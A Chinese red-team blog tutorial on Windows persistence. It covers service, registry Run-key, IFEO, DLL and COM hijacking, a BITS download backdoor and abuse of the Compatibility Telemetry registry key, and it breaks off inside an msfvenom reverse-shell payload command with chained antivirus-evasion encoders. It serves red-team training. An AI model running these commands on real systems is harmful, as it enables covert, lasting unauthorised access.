这是 酒仙桥六号部队 的第 46 篇文章。
全文共计3084个字,预计阅读时长10分钟。
在我们红队拿到主机权限的时候,我们往往需要通过这台机器进行深一步的渗透,或者目标服务器可能因为系统更新,杀软更新等等原因往往导致会话莫名其妙下线了,所以权限持久化是红队一个必不可少的工作。
常见的权限维持手段有很多,比如:
1、修改服务
系统启动的时候,可以通过服务来运行程序或应用,服务的配置信息存储在注册表中,可以通过修改配置来进行安装服务,运行后能看到AtomicService.exe这个进程。
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">sc.exe create #{service_name} binPath= #{binary_path}sc.exe start #{service_name}或者
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"Start-Service -Name "#{service_name}"2、修改注册表启动项
startup文件夹下添加程序以及修改注册表的某些键值来实现。用户登录后就可实现程序的执行。
Windows会默认执行的相关注册表:
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnceHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce3、自启动服务目录
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnceHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnceHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices4、文件夹目录
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserShell FoldersHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShellFoldersHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUserShell Folders5、DLL劫持
应用程序通过DLL(动态链接库)加载外部代码。DLL劫持是利用了DLL的搜索路径优先级并用DLL同名的恶意DLL注入应用程序。
查找可能存在劫持的DLL,一般来说,我们可以使用ProcessExplorer再结合注册表KnownDLLs(windows 7 以上版本)即可分析,可能存在DLL劫持的漏洞。对可能存在DLL劫持的漏洞进行编写,放在同一目录进行POC测试。
6、映像劫持
被称为IFEO(Image File Execution Options)
当用户程序被映像劫持,启动目标程序会被劫持程序给替代。
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Option[劫持程序名字]
添加debugger键名 值为指向的路径。
也可以命令行管理员直接执行:
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage FileExecution Options otepad.exe" /t REG_SZ /v Debugger /d"C:windowssystem32cmd.exe" /f
或者使用gflags工具中的silent process exit功能,在这个程序静态退出的时候可以直接静默执行另一个程序。
7、Com劫持
程序在读取注册表信息中的DLL或者EXE功能的路径上,让程序提前读取设置好的恶意DLL或者EXE,原理其实和DLL劫持相近。
一般的利用方式如下:
通过使用脚本,找出系统没有的或者空出来的COM(NAME NOTFOUND)组件路径,放置劫持的文件。我们也可以直接替换原路径下的文件,或者直接修改原路径加载的文件。
8、BIT后门
Windows内置后台传输工具,即使在应用程序退出后,只要启动传输的用户保持登录状态并保持网络连接,BITS就会继续传输文件,重启后也会续传。
测试脚本:代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">bitsadmin /create testbitsadmin /addfile test "http://x.x.x.x/x "//"C: mpxx"bitsadmin /SetNotifyCmdLine test C: mpxx NULbitsadmin /SetMinRetryDelay "test" 60
bitsadmin /resume test
9、WMIC后门等等。。。。
随着科技的发展,各种终端设备对各种常见的路径,注册表进行了监控。所以我们需要更多的骚姿势来绕过它。
Microsoft Compatibility Telemetry 微软兼容性遥测服务介绍:CompatTelRunner.exe是用户可以在Windows CompatibilityTelemetry服务下运行的进程,它通常位于C: Windows \System32目录中。它负责收集有关计算机及其性能的各种技术数据,并将其发送给Microsoft进行Windows客户体验改善计划以及用于Windows操作系统的升级过程中。该进程使用了CPU的极高百分比来进行文件扫描,然后通过Internet连接传输数据。因此,用户还会遇到互联网连接速度较慢甚至系统崩溃的情况。

Emm…全网都是说这服务怎么去disable的,看来确实很多人不喜欢这玩意儿。
在我们实现中需要以下的条件:
管理员权限,并且可以写入HKLM(HKEY_LOCAL_MACHINE)Windows Server2008R2, 2016, Windows 7 /10测试机器必须有网络连接方法:在注册表
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionAppCompatFlagsTelemetryController
添加任意命名子项。
添加名称为Command 类型是REG_SZ ,Data value填写我们要执行的exe程序;
创建一个DWORD的KEY,名称可以为Nightly,Oobe,Maintanance并将它们的值设置成1。Nightly模式会以每24小时执行一次。
或者使用下列命令保存文本(以nightly为例),修改reg格式导入即可。
Windows Registry Editor Version 5.00
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionAppCompatFlagsTelemetryController est]"Command"="c:\windows\system32\notepad.exe""Nightly"=dword:00000001

如果想立即执行查看效果可以在Cortana搜索框中输入“任务计划”,打开“任务计划程序”,在左侧的导航窗格中依次展开定位至“任务计划程序库。
Microsoft - Windows - Application Experience”,这时你就会在右侧窗格中看到名为Microsoft Compatibility Appraiser 的任务计划,直接右键运行即可。

或者管理员直接运行命令行:
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">schtasks /run /tn "MicrosoftWindowsApplication ExperienceMicrosoftCompatibility Appraiser"
等待Microsoft Compatibility Telemetry执行。

然后在详细信息里面可看到程序执行成功了。

有意思的是,CompatTelRunner.exe不是系统启动运行或者用户登录,它是一个周期性的任务,这样可以逃避很多检测。

我们也可以在触发器中对其进行修改成我们需要的执行时间。

我们这里使用msf做个简单的测试:
用msf自带混淆做个raw。
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.11.130 LPORT=8888--platform windows -a x86 -s 42 --smallest -e x86/shikata_ga_nai -i 9 -f raw|msfvenom --platform windows -a x86 -e x86/countdown -i 8 -f raw | msfvenom--platform windows -a x86 -e x86/call4_dword_xor -i 6 -b "